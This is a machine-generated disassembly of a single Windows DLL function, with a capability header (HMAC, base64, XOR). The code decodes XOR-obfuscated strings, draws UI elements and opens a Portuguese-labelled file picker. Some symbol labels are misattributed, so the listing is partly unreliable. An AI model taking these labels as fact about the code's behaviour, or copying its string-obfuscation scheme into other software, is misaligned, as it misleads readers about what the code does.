Function at 0x1800bd9c0
Capabilities:
Authenticate hmac
Encode data using base64
Encode data using xor

Disassembly:
mov qword [rsp + 0x20], r9
mov qword [rsp + 0x18], r8
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x1d98]
mov eax, 0x1e98
call fcn.18012eb20
sub rsp, rax
movaps xmmword [rsp + 0x1e80], xmm6
movaps xmmword [rsp + 0x1e70], xmm7
movaps xmmword [rsp + 0x1e60], xmm8
movaps xmmword [rsp + 0x1e50], xmm9
movaps xmmword [rsp + 0x1e40], xmm10
movaps xmmword [rsp + 0x1e30], xmm11
movaps xmmword [rsp + 0x1e20], xmm12
movaps xmmword [rsp + 0x1e10], xmm13
movaps xmmword [rsp + 0x1e00], xmm14
movaps xmmword [rsp + 0x1df0], xmm15
mov rax, qword [0x1802b1080]
xor rax, rsp
mov qword [rbp + 0x1ce0], rax
mov rdi, rdx
mov qword [rbp + 0x78], rdx
mov r12, rcx
mov qword [rbp + 0x80], rcx
mov qword [rbp + 0x16f0], rcx
mov qword [rbp + 0x16f8], rdx
xor esi, esi
mov dword [rsp + 0x68], esi
lea rax, [rbp + 0x1df0]
mov qword [rbp + 0xae0], rax
lea rax, [rbp + 0x1df8]
mov qword [rbp + 0xae8], rax
mov qword [rbp + 0xaf0], rcx
xor r9d, r9d
lea r8, [rbp + 0x17b4]
xor edx, edx
lea rbx, [0x1802b4b50]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_InitOnceBeginInitialize]
test eax, eax
jne 0x1800bdac3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_abort]
int3
cmp dword [rbp + 0x17b4], 0
je 0x1800bdafc
mov qword [rsp + 0x50], rbx
mov dword [rsp + 0x58], 4
lea rcx, [rbp + 0xae0]
call fcn.180099fe0
nop
xor r8d, r8d
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_InitOnceComplete]
test eax, eax
je 0x1800cb43d
cmp byte [0x1802b4386], 0
jne 0x1800bdb0f
call fcn.1800b7940
call fcn.1800b96c0
cmp byte [0x1802b4463], 0
je 0x1800bdb1d
call fcn.1800b8060
cmp byte [0x1802b4489], 0
je 0x1800bdb2b
call fcn.1800b7510
cmp byte [0x1802b4494], 0
je 0x1800bdb39
call fcn.1800b7d90
cmp byte [0x1802b4381], 0
jne 0x1800bdb54
cmp byte [0x1802b4382], 0
jne 0x1800bdb54
cmp byte [0x1802b4380], 0
je 0x1800bdb59
call fcn.1800b6670
movzx edx, byte [0x1802b4491]
movzx r9d, byte [0x1802b4492]
test r9b, r9b
jne 0x1800bdb71
test dl, dl
je 0x1800bdbbb
mov rax, qword [0x1802b4398]
mov rcx, qword [rax + 8]
test rcx, rcx
je 0x1800bdbbb
mov rax, qword [0x1802b43b8]
mov rcx, qword [rax + rcx]
mov r8, qword [rcx + 0x20]
test r8, r8
je 0x1800bdbbb
test r9b, r9b
je 0x1800bdbac
mov rax, qword [0x1802b43c8]
mov dword [rax + r8], esi
movzx edx, byte [0x1802b4491]
test dl, dl
je 0x1800bdbbb
mov rax, qword [0x1802b43d0]
mov dword [rax + r8], esi
call fcn.18009e6b0
cmp byte [reloc.WS2_32.dll_accept], 0
jne 0x1800bdbd6
cmp byte [0x1802b4497], 0
jne 0x1800bdbd6
xor bl, bl
jmp 0x1800bdbd8
mov bl, 1
call fcn.18000e580
mov byte [rax + 0x70], bl
cmp byte [reloc.WS2_32.dll_accept], 0
jne 0x1800bdbf6
cmp byte [0x1802b4497], 0
jne 0x1800bdbf6
xor bl, bl
jmp 0x1800bdbf8
mov bl, 1
call fcn.18000e580
mov byte [rax + 0xd1], bl
cmp byte [reloc.WS2_32.dll_accept], 0
je 0x1800cb31c
movss xmm9, dword [0x180184994]
mov dword [rbp + 0x98], 0x442f0000
movss xmm15, dword [0x180184990]
mov dword [rbp + 0x9c], 0x440d4000
xor edx, edx
lea rcx, [rbp + 0x98]
call fcn.18001a5d0
xorps xmm12, xmm12
mov qword [rbp + 0xa0], 0
lea rcx, [rbp + 0xa0]
call fcn.18001a5b0
mov rax, qword [str.qRVHZPbVZJ:]
mov qword [rbp + 0xa8], rax
movdqa xmm10, xmmword [0x180143490]
movdqa xmm8, xmmword [0x1801433e0]
movdqa xmm6, xmmword [0x18013cb90]
movdqa xmm13, xmmword [str.6666666666666666]
movdqa xmm11, xmmword [str.8888]
movdqa xmm7, xmmword [0x180184b70]
mov r15d, dword [reloc.WS2_32.dll_accept]
cmp byte [0x180182d2f], 0
je 0x1800bddd2
mov r8d, esi
cmp r15d, 2
jl 0x1800bdd96
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm7
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm6
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm13
movd xmm0, dword [rbp + 0xa8]
xorps xmm1, xmm0
movd dword [rbp + 0xa8], xmm1
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm8
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm1, xmm8
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm13
movd xmm0, dword [rbp + 0xac]
xorps xmm1, xmm0
movd dword [rbp + 0xac], xmm1
jmp 0x1800bddd2
lea r9, [rbp + 0xa8]
nop dword [rax]
mov eax, 0x24924925
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 8
jl 0x1800bdda0
xor edx, edx
mov r8d, 0x20bb
lea rcx, [rbp + 0xa8]
call fcn.180006800
call fcn.18000e580
movss xmm0, dword [rax + 0x10]
movss xmm14, dword [0x180138b8c]
mulss xmm0, xmm14
movss dword [0x1801ad150], xmm0
call fcn.18000ee10
mov r14, rax
mov qword [rbp + 0xb0], rax
lea rcx, [rbp + 0x17c0]
call fcn.18000ee60
lea rcx, [0x1801ad0c0]
call fcn.18000b470
movss xmm1, dword [rbp + 0x17c4]
addss xmm1, xmm15
movss xmm0, dword [rbp + 0x17c0]
addss xmm0, xmm9
movss dword [rbp + 0xb8], xmm0
movss dword [rbp + 0xbc], xmm1
mov dword [rsp + 0x28], esi
movss xmm0, dword [0x180138b90]
movss dword [rsp + 0x20], xmm0
mov r9d, eax
lea r8, [rbp + 0xb8]
lea rdx, [rbp + 0x17c0]
mov rcx, r14
call fcn.180021da0
lea rcx, [0x1801ad020]
call fcn.18000b470
movss xmm1, dword [rbp + 0x17c4]
addss xmm1, dword [0x18018498c]
movss xmm0, dword [rbp + 0x17c0]
addss xmm0, dword [0x180138da8]
movss dword [rbp + 0xc0], xmm0
movss dword [rbp + 0xc4], xmm1
mov dword [rsp + 0x28], reloc.WS2_32.dll_recv
movss xmm0, dword [0x180138b90]
movss dword [rsp + 0x20], xmm0
mov r9d, eax
lea r8, [rbp + 0xc0]
lea rdx, [rbp + 0x17c0]
mov rcx, r14
call fcn.180021da0
lea rcx, [0x1801ad070]
call fcn.18000b470
movss xmm3, dword [rbp + 0x17c4]
movaps xmm1, xmm3
addss xmm1, dword [0x18018498c]
movss xmm2, dword [rbp + 0x17c0]
movaps xmm0, xmm2
addss xmm0, dword [0x180138da8]
movss dword [rbp + 0xc8], xmm0
movss dword [rbp + 0xcc], xmm1
addss xmm3, xmm12
addss xmm2, dword [0x180184974]
movss dword [rbp + 0xd0], xmm2
movss dword [rbp + 0xd4], xmm3
mov dword [rsp + 0x28], esi
movss dword [rsp + 0x20], xmm12
mov r9d, eax
lea r8, [rbp + 0xc8]
lea rdx, [rbp + 0xd0]
mov rcx, r14
call fcn.180021da0
mov dword [rbp + 0xd8], 0x41200000
mov dword [rbp + 0xdc], 0x41700000
lea rcx, [rbp + 0xd8]
call fcn.18001a0a0
mov dword [rbp + 0xe0], 0x42700000
mov dword [rbp + 0xe4], 0x44034000
mov eax, dword [0x180182d30]
mov dword [rbp - 0x1c], eax
movzx eax, byte [0x180182d34]
mov byte [rbp - 0x1c], 0x54
xor byte [rbp - 0x1b], 0x37
xor byte [rbp - 0x1a], 0x38
xor byte [rbp - 0x19], 0x39
xor al, 0x3a
mov byte [rbp - 0x18], al
lea rax, [0x180137dc6]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rax
xor r9d, r9d
mov r8b, 1
lea rdx, [rbp + 0xe0]
lea rcx, [rbp - 0x1c]
call fcn.180008f00
mov rcx, qword [0x1802b4aa8]
call fcn.180016470
movzx eax, word [0x180182d38]
mov word [rsp + 0x78], ax
cmp byte [0x180182d39], 0
je 0x1800be01b
mov byte [rsp + 0x78], 0x64
xor byte [rsp + 0x79], 0x37
xor r8d, r8d
lea rdx, [0x1802b4a94]
lea rcx, [rsp + 0x78]
call fcn.180048620
movzx eax, word [0x180182d3c]
mov word [rsp + 0x7c], ax
cmp byte [0x180182d3d], 0
je 0x1800be04e
mov byte [rsp + 0x7c], 0x65
xor byte [rsp + 0x7d], 0x37
mov r8d, 1
lea rdx, [0x1802b4a94]
lea rcx, [rsp + 0x7c]
call fcn.180048620
movzx eax, word [0x180182d40]
mov word [rbp - 0x80], ax
cmp byte [0x180182d41], 0
je 0x1800be081
mov byte [rbp - 0x80], 0x6a
xor byte [rbp - 0x7f], 0x37
mov r8d, 2
lea rdx, [0x1802b4a94]
lea rcx, [rbp - 0x80]
call fcn.180048620
movzx eax, word [0x180182d44]
mov word [rbp - 0x7c], ax
cmp byte [0x180182d45], 0
je 0x1800be0b3
mov byte [rbp - 0x7c], 0x6b
xor byte [rbp - 0x7b], 0x37
mov r8d, 3
lea rdx, [0x1802b4a94]
lea rcx, [rbp - 0x7c]
call fcn.180048620
movzx eax, word [0x180182d48]
mov word [rbp - 0x78], ax
cmp byte [0x180182d49], 0
je 0x1800be0e5
mov byte [rbp - 0x78], 0x68
xor byte [rbp - 0x77], 0x37
mov r8d, 5
lea rdx, [0x1802b4a94]
lea rcx, [rbp - 0x78]
call fcn.180048620
call fcn.180016030
xor ecx, ecx
call fcn.18000c5c0
call fcn.18000e580
movss xmm12, dword [rax + 0xc]
call fcn.18000ded0
mov rdi, rax
mov rcx, qword [str.RTUU]
mov qword [rbp + 0xe8], rcx
cmp byte [str.tBQUexJZzaprku], 0
je 0x1800be262
mov r8d, esi
cmp r15d, 2
jl 0x1800be221
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm7
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm6
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm6
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd eax, xmm13
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xe8]
xorps xmm2, xmm1
movd dword [rbp + 0xe8], xmm2
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm8
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm8
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xec]
xorps xmm2, xmm1
movd dword [rbp + 0xec], xmm2
jmp 0x1800be262
lea r9, [rbp + 0xe8]
nop dword [rax + rax]
mov eax, 0x24924925
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 8
jl 0x1800be230
lea rax, [rbp + 0xe8]
mov rsi, 0xffffffffffffffff
mov rcx, rsi
inc rcx
cmp byte [rax + rcx], 0
jne 0x1800be273
mov rdx, qword [0x1802b4658]
movabs rax, 0x7fffffffffffffff
sub rax, rdx
cmp rax, rcx
jb 0x1800cb443
lea rax, [0x1802b4648]
cmp qword [0x1802b4660], 0xf
cmova rax, qword [0x1802b4648]
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea r9, [rbp + 0xe8]
lea r8, [0x1802b4648]
movzx edx, byte [rsp + 0x40]
lea rcx, [rbp + 0xd58]
call fcn.18003dfe0
mov r13d, 1
lea rbx, [rbp + 0xd58]
cmp qword [rbp + 0xd70], 0xf
cmova rbx, qword [rbp + 0xd58]
movdqa xmm0, xmmword [0x180184a60]
movups xmmword [rbp + 0x818], xmm0
lea rcx, [rbp + 0x818]
call fcn.18000b470
mov dword [rbp + 0xf0], 0x41200000
movaps xmm0, xmm12
subss xmm0, dword [0x180184964]
movss dword [rbp + 0xf4], xmm0
mov qword [rsp + 0x20], 0
mov r9, rbx
mov r8d, eax
lea rdx, [rbp + 0xf0]
mov rcx, rdi
call fcn.1800254f0
nop
mov rdx, qword [rbp + 0xd70]
cmp rdx, 0xf
jbe 0x1800be397
inc rdx
mov rcx, qword [rbp + 0xd58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800be392
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1800be392
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.18012e518
movdqa xmm0, xmmword [0x18013d810]
movdqu xmmword [rbp + 0xd68], xmm0
mov byte [rbp + 0xd58], 0
call fcn.18000ded0
mov rbx, rax
movzx eax, word [0x180182d6c]
mov word [rbp + 0xadc], ax
movzx eax, byte [0x180182d6e]
mov edx, dword [0x180182d68]
movups xmm2, xmmword [0x180182d58]
mov byte [rbp + 0xade], al
mov dword [rbp + 0xad8], edx
movups xmmword [rbp + 0xac8], xmm2
xor edi, edi
mov r8d, edi
movdqa xmm9, xmmword [0x1801433f0]
movdqa xmm15, xmmword [0x180143400]
cmp r15d, 2
jl 0x1800be636
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm7
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm6
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd ecx, xmm13
movd xmm0, ecx
paddb xmm1, xmm0
movd eax, xmm2
movd xmm0, eax
xorps xmm1, xmm0
movd dword [rbp + 0xac8], xmm1
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm8
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm8
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xacc]
xorps xmm2, xmm1
movd dword [rbp + 0xacc], xmm2
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
pmuldq xmm1, xmm7
movdqa xmm0, xmm9
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm9
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm9
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xad0]
xorps xmm2, xmm1
movd dword [rbp + 0xad0], xmm2
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
pmuldq xmm1, xmm7
movdqa xmm0, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm15
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xad4]
xorps xmm2, xmm1
movd dword [rbp + 0xad4], xmm2
movdqa xmm3, xmmword [0x180143410]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm7
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm3, xmm0
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, ecx
paddb xmm3, xmm0
movd xmm1, edx
xorps xmm3, xmm1
movd dword [rbp + 0xad8], xmm3
mov r8d, reloc.WS2_32.dll_sendto
mov eax, r8d
lea r9, [rbp + 0xac8]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x17
jl 0x1800be650
movdqa xmm0, xmmword [0x180184a60]
movups xmmword [rbp + 0x828], xmm0
lea rcx, [rbp + 0x828]
call fcn.18000b470
mov dword [rbp + 0xf8], 0x41200000
subss xmm12, dword [0x18018495c]
movss dword [rbp + 0xfc], xmm12
mov qword [rsp + 0x20], rdi
lea r9, [rbp + 0xac8]
mov r8d, eax
lea rdx, [rbp + 0xf8]
mov rcx, rbx
call fcn.1800254f0
movss xmm12, dword [0x180138bd8]
cmp dword [0x1802b4a94], edi
jne 0x1800bf2e6
mov dword [rbp + 0x100], 0x42c20000
mov dword [rbp + 0x104], 0x41400000
lea rcx, [rbp + 0x100]
call fcn.18001a0a0
mov qword [rbp + 0x108], rdi
mov eax, dword [0x180182d70]
mov dword [rbp - 4], eax
movzx eax, word [0x180182d74]
mov word [rbp], ax
mov byte [rbp - 4], 0x46
xor byte [rbp - 3], 0x37
xor byte [rbp - 2], 0x38
xor byte [rbp - 1], 0x39
xor al, 0x3a
mov byte [rbp], al
xor byte [rbp + 1], 0x3b
lea rsi, [0x180137dc6]
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x20], rsi
xor r9d, r9d
mov r8b, 1
lea rdx, [rbp + 0x108]
lea rcx, [rbp - 4]
call fcn.180008f00
cmp byte [0x1802b4b58], dil
jne 0x1800be7f7
cvttss2si ecx, dword [rbp + 0x17c4]
add ecx, 0x41
cvttss2si eax, dword [rbp + 0x17c0]
add eax, 0x55
mov dword [rbp + 0x110], eax
mov dword [rbp + 0x114], ecx
lea rdx, [rbp + 0x110]
mov rcx, qword [0x1802b4580]
call fcn.18005aa60
call fcn.180057b50
mov rdx, rax
mov rcx, qword [0x1802b4580]
call fcn.18005aa80
lea rdx, [0x1801ad0d0]
mov rcx, qword [0x1802b4580]
call fcn.18005ace0
mov rcx, qword [0x1802b4580]
mov byte [rcx + 0x7b], dil
xor edx, edx
call fcn.18005ad20
mov rcx, qword [0x1802b4580]
mov byte [rcx + 0x7a], dil
mov byte [0x1802b4b58], 1
jmp 0x1800be7fe
mov rcx, qword [0x1802b4580]
movzx eax, word [0x180182d78]
movd xmm0, dword [0x1802b0fd0]
mov word [rbp - 0x54], ax
cvtdq2ps xmm0, xmm0
movzx eax, byte [0x180182d7a]
movss dword [rbp + 0x11c], xmm0
mov dword [rbp + 0x118], 0x44140000
mov byte [rbp - 0x54], reloc.WS2_32.dll_WSAStartup
xor byte [rbp - 0x53], 0x37
xor al, 0x38
mov byte [rbp - 0x52], al
mov r9b, 1
lea r8, [rbp + 0x118]
lea rdx, [rbp - 0x54]
call fcn.18005a520
mov eax, dword [0x1802b0fd0]
add eax, 3
movd xmm1, eax
cvtdq2ps xmm1, xmm1
mov dword [rbp + 0x120], 0x43e10000
movss dword [rbp + 0x124], xmm1
lea rcx, [rbp + 0x120]
call fcn.18001a0a0
mov rcx, qword [0x1802b3a40]
call fcn.180016470
mov qword [rbp + 0x128], rdi
movzx eax, word [0x180182d7c]
mov word [rbp - 0x74], ax
cmp byte [0x180182d7d], dil
je 0x1800be8aa
mov byte [rbp - 0x74], 0x7a
xor byte [rbp - 0x73], 0x37
lea rdx, [rbp + 0x128]
lea rcx, [rbp - 0x74]
call fcn.18003ef60
test al, al
je 0x1800bea33
mov rcx, qword [0x1802b4a30]
sub rcx, qword [0x1802b4a28]
movabs rax, 0x6666666666666667
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
cmp rdx, 1
jb 0x1800bea33
mov cl, 1
call fcn.18009f7d0
mov r12, rax
mov rdi, qword [0x1802b4a28]
mov r14, qword [0x1802b4a30]
cmp rdi, r14
je 0x1800bea23
nop word [rax + rax]
mov rdx, rdi
lea rcx, [rbp + 0x1908]
call fcn.18004fff0
nop
mov rbx, qword [rdi + 0x20]
mov qword [rbp + 0x1928], rbx
test rbx, rbx
je 0x1800be950
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + reloc.WS2_32.dll_htonl]
mov rbx, qword [rbp + 0x1928]
mov qword [rsp + 0x68], rbx
test rbx, rbx
je 0x1800be964
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + reloc.WS2_32.dll_htonl]
nop
test rbx, rbx
je 0x1800be9c2
lea rdx, [rbp + 0x1908]
lea rcx, [0x1802b4678]
call fcn.180097860
mov byte [rax], 1
mov ecx, reloc.WS2_32.dll_recv
call fcn.18012e4dc
mov rsi, rax
mov qword [rsp + 0x70], rax
test rax, rax
je 0x1800be9b6
xorps xmm0, xmm0
movups xmmword [rax], xmm0
mov qword [rbp - 0x30], rbx
mov rdx, qword [rbx]
mov rcx, rbx
call qword [rdx + reloc.WS2_32.dll_htonl]
lea rdx, [rbp - 0x30]
mov rcx, rsi
call fcn.180096820
nop
mov rdx, r12
mov rcx, rax
call fcn.1800a5c40
nop
test rbx, rbx
je 0x1800be9d1
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + reloc.WS2_32.dll_recv]
nop
lea rcx, [rbp + 0x1908]
call fcn.180097120
add rdi, 0x28
cmp rdi, r14
jne 0x1800be920
mov r14, qword [0x1802b4a30]
mov rdi, qword [0x1802b4a28]
lea rsi, [0x180137dc6]
cmp rdi, r14
je 0x1800bea23
mov rcx, rdi
call fcn.180097120
add rdi, 0x28
cmp rdi, r14
jne 0x1800bea04
mov rax, qword [0x1802b4a28]
mov qword [0x1802b4a30], rax
mov byte [0x1802b4458], 0
mov r12, qword [rbp + 0x80]
xor edi, edi
movaps xmm1, xmm12
xorps xmm12, xmm12
xorps xmm0, xmm0
call fcn.180019710
mov qword [rbp + 0x130], 0
movzx eax, word [0x180182d80]
mov word [rbp - 0x70], ax
cmp byte [0x180182d81], 0
je 0x1800bea6a
mov byte [rbp - 0x70], WSASetLastError
xor byte [rbp - 0x6f], 0x37
lea rdx, [rbp + 0x130]
lea rcx, [rbp - 0x70]
call fcn.18003ef60
test al, al
je 0x1800bee3b
xor edx, edx
mov r8d, 0x103
lea rcx, [rbp + 0x1bd1]
call sub.VCRUNTIME140.dll_memset
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x1710], xmm0
movups xmmword [rbp + 0x1720], xmm0
movups xmmword [rbp + 0x1730], xmm0
movups xmmword [rbp + 0x1740], xmm0
movups xmmword [rbp + 0x1750], xmm0
movups xmmword [rbp + 0x1760], xmm0
movups xmmword [rbp + 0x1770], xmm0
movups xmmword [rbp + 0x1780], xmm0
movups xmmword [rbp + 0x1790], xmm0
mov qword [rbp + 0x17a0], rax
mov dword [rbp + 0x1710], 0x98
lea rax, [rbp + 0x1bd0]
mov qword [rbp + 0x1740], rax
mov byte [rbp + 0x1bd0], 0
mov dword [rbp + 0x1748], 0x104
lea rax, str.Todos_os_arquivos
mov qword [rbp + 0x1728], rax
mov dword [rbp + 0x173c], 1
mov qword [rbp + 0x1750], rdi
mov dword [rbp + 0x1758], edi
mov qword [rbp + 0x1760], rdi
mov dword [rbp + 0x1770], 0x1808
lea rcx, [rbp + 0x1710]
call qword [sym.imp.COMDLG32.dll_GetOpenFileNameA]
cmp eax, 1
jne 0x1800bee3b
xor edx, edx
mov r8d, 0x110
lea rcx, [rbp + 0x1a40]
call sub.VCRUNTIME140.dll_memset
mov dword [rsp + 0x20], 1
mov r9d, 0x40
mov r8d, 1
mov rdx, qword [rbp + 0x1740]
lea rcx, [rbp + 0x1a40]
call fcn.18006cbf0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x1868], xmm0
mov qword [rbp + 0x1878], rdi
mov qword [rbp + 0x1880], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x1868], 0
movups xmmword [rbp + 0x1888], xmm0
mov qword [rbp + 0x1898], rdi
mov qword [rbp + 0x18a0], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x1888], 0
mov rax, qword [rbp + 0x1a40]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x1a40]
add rcx, rax
mov dl, 0xa
call qword [sym.imp.MSVCP140.dll_public:_char___cdecl_std::basic_ios_char__struct_std::char_traits_char__::widen_char_const___ptr64]
movzx r8d, al
lea rdx, [rbp + 0x1868]
lea rcx, [rbp + 0x1a40]
call fcn.180092290
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator_bool_void_const___ptr64]
test al, al
je 0x1800bed5b
movzx edi, byte [rsp + 0x40]
movzx ebx, byte [rsp + 0x40]
nop dword [rax + rax]
mov r14, qword [rbp + 0x1878]
lea r9, [rbp + 0x1868]
cmp qword [rbp + 0x1880], 0xf
cmova r9, qword [rbp + 0x1868]
mov rcx, qword [rbp + 0x1898]
mov rdx, qword [rbp + 0x18a0]
mov rax, rdx
sub rax, rcx
cmp r14, rax
ja 0x1800bec9d
lea rax, [r14 + rcx]
mov qword [rbp + 0x1898], rax
lea rsi, [rbp + 0x1888]
cmp rdx, 0xf
cmova rsi, qword [rbp + 0x1888]
add rsi, rcx
mov r8, r14
mov rdx, r9
mov rcx, rsi
call sub.VCRUNTIME140.dll_memmove
mov byte [r14 + rsi], 0
jmp 0x1800becb5
mov qword [rsp + 0x20], r14
movzx r8d, dil
mov rdx, r14
lea rcx, [rbp + 0x1888]
call fcn.18003dae0
mov rcx, qword [rbp + 0x1898]
mov rdx, qword [rbp + 0x18a0]
cmp rcx, rdx
jae 0x1800becee
lea rax, [rcx + 1]
mov qword [rbp + 0x1898], rax
lea rax, [rbp + 0x1888]
cmp rdx, 0xf
cmova rax, qword [rbp + 0x1888]
mov word [rax + rcx], 0xa
jmp 0x1800bed06
mov r9b, 0xa
movzx r8d, bl
mov edx, 1
lea rcx, [rbp + 0x1888]
call fcn.18004d700
mov rax, qword [rbp + 0x1a40]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x1a40]
add rcx, rax
mov dl, 0xa
call qword [sym.imp.MSVCP140.dll_public:_char___cdecl_std::basic_ios_char__struct_std::char_traits_char__::widen_char_const___ptr64]
movzx r8d, al
lea rdx, [rbp + 0x1868]
lea rcx, [rbp + 0x1a40]
call fcn.180092290
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator_bool_void_const___ptr64]
test al, al
jne 0x1800bec30
xor edi, edi
lea rsi, [0x180137dc6]
lea rax, [rbp + 0xdb8]
mov qword [rsp + 0x70], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0xdb8], xmm0
mov qword [rbp + 0xdc8], rdi
mov qword [rbp + 0xdd0], rdi
xor r8d, r8d
mov rdx, rsi
lea rcx, [rbp + 0xdb8]
call fcn.18003d5d0
nop
lea rax, [rbp + 0xdd8]
mov qword [rsp + 0x68], rax
mov rdx, r12
lea rcx, [rbp + 0xdd8]
call fcn.18004fff0
mov rbx, rax
